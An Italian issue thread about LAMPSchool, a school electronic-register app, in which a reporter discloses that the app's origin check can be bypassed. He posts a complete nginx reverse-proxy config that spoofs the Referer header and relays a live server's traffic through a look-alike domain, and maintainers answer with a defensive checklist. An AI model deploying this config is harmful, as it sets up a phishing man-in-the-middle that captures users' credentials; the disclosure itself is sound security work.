Bypass protezione da origini richiesta non autorizzate per impedire accessi dall'esterno

[vittodevit]

In riferimento all'issue #4, riapro. Il bypass, dopo varie prove, risulta funzionante. LampSchool è proxato da un'origine non autorizzata (il mio dominio), così facendo, è possibile intercettare tutto il traffico se la vittima finisce sul dominio fittizio, anche se connesso in SSL.

La configurazione nginx usata sul mio server in questo esatto momento è:

map $http_upgrade $connection_upgrade {
    default upgrade;
    ''      close;
}

server {
    listen 443 ssl;
    listen [::]:443 ssl;
    server_name www.mrbackslash.it mrbackslash.it;
    charset utf-8;
    ssl_client_certificate /etc/nginx/certs/origin-pull-ca.pem;
    ssl_verify_client on;
    ssl_certificate /etc/nginx/certs/certificate.pem;
    ssl_certificate_key /etc/nginx/certs/key.pem;
    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256';

    location ^~ /lampschool/ {
        proxy_pass http://217.59.198.84;
        proxy_redirect http:// https://;
        proxy_http_version 1.1;
        proxy_set_header Referer "http://217.59.198.84/aaaaaaarandomdata";
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection $connection_upgrade;

    }

    add_header X-Frame-Options SAMEORIGIN;
    add_header X-XSS-Protection 1;
    add_header Content-Security-Policy "frame-ancestors 'self'";
    add_header X-Content-Type-Options "nosniff";
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
}

server {
    listen      80;
    listen [::]:80;
    server_name www.mrbackslash.it mrbackslash.it;

      # enforce https
      location / {
          return 301 https://$server_name$request_uri;
      }
}

Provare per credere: server originale, server a cui la vittima andrebbe a connettersi

Per informazioni sul funzionamento vedi sempre #4

[valerio-bozzolan]

Gli utenti devono essere istruiti per non collegarsi mai a domini non autorizzati e questo vale da LAMPSchool al sito della propria banca. C'è ampio margine di miglioramento in LAMPSchool per stringere gli Header di sicurezza ma anche impostando tutte le direttive del mondo conosciute non è possibile evitare la creazione di proxy. La premessa è questa.

[valerio-bozzolan]

Ciao Vittorio, scusa se chiuderei questa segnalazione così ricca ma purtroppo in un modo o nell'altro chiunque riuscirà a realizzare un simile proof of concept per qualsiasi altro sito web come Google.com o Facebook.com, proprio perché il protocollo HTTPS è stato pensato per essere sicuro solo e soltanto se l'utente non è vittima di social engineering e se non fa cose assolutamente sbagliate come autenticarsi in una pagina di login da un dominio non gestito dai fornitori del servizio di origine. Qualsiasi dominio terzo può sempre essere in grado di fornire un nuovo certificato SSL perfettamente valido per le proprie connessioni in ingresso, prendere il traffico in chiaro e rigirare questo traffico al vecchio server col suo vecchio certificato SSL, di fatto operando come man in the middle in maniera trasparente per l'utente (sempre se si tralascia il fatto che l'utente doveva accorgersi che il dominio non era quello ufficiale).

Invito a studiare la documentazione dei principali web server per scoprire quanto sia facile farlo con HTTPS:

• https://httpd.apache.org/docs/2.4/mod/mod_proxy.html
• https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/

L'apertura di un dominio non autorizzato è un problema di social engineering e purtroppo è irrisolvibile con del codice sorgente o con pratiche HTTP ma è mitigabile con corsi di sicurezza informatica nelle scuole, corsi che vengono spesso tenuti dalla polizia postale locale e su cui invito ad informarsi per pianificare attività nel proprio istituto. Attività che ormai sono sempre più cruciali, dato che non tutti purtroppo sanno comprendere come analizzare un URL per capire se è legittimo o meno.

Grazie Vittorio per lo sforzo di sensibilizzare ulteriormente sulla complessità della IT security della propria installazione.

In conclusione chiuderei con questa checklist per il proprio registro:

• assicurarsi che il proprio registro elettronico abbia un dominio ed un certificato SSL valido
• assicurarsi che non si possa accedere tramite HTTP ma solo tramite HTTPS evitando protocol downgrade (HTTP Strict Transport Security)
• comunicare l'URL ufficiale a tutti gli utenti, sottolineando l'importanza di non accedere mai da indirizzi diversi, e di non accedere mai se l'avviso segnala che il certificato non è valido (così come non si danno mai le proprie credenziali ad altri)

Uno spunto per verificare di aver messo correttamente in sicurezza il proprio server web del registro:

• https://securityheaders.com/

[vittodevit]

Concordo, al momento suggerisco di invitare tutti gli insegnati ad accedere solo dal pulsante apposito sul sito, vedo oggi di parlarne con il responsabile per creare una comunicazione quando il nuovo sito sarà terminato!

[zerai]

Al momento è prematuro (andrebbe riorganizzato il codice), ma si potrebbero prendere in considerazione le PSR (PSR-7 o PSR-15) per gestire il ciclo request/response http, una volta implementate ci sono svariate librerie (di framework o indipendenti) che possono gestire questo aspetto e altri relativi alla sicurezza.

Andrebbe valutato, in un secondo momento, cosa ci conviene 'delegare', senza non dover per forza usare un framework.

[valerio-bozzolan]

Già, premettendo che CORS risolve molti problemi di sicurezza ma non permette di evitare la creazione di HTTP proxy trasparenti su altri domimini (edited: cosa che non può fare nessuno purtroppo). Sottolineo ancora (che ci sta sempre bene :D) l'importanza della formazione agli utenti finali sulla sicurezza generale nel web e i rischi del social engineering.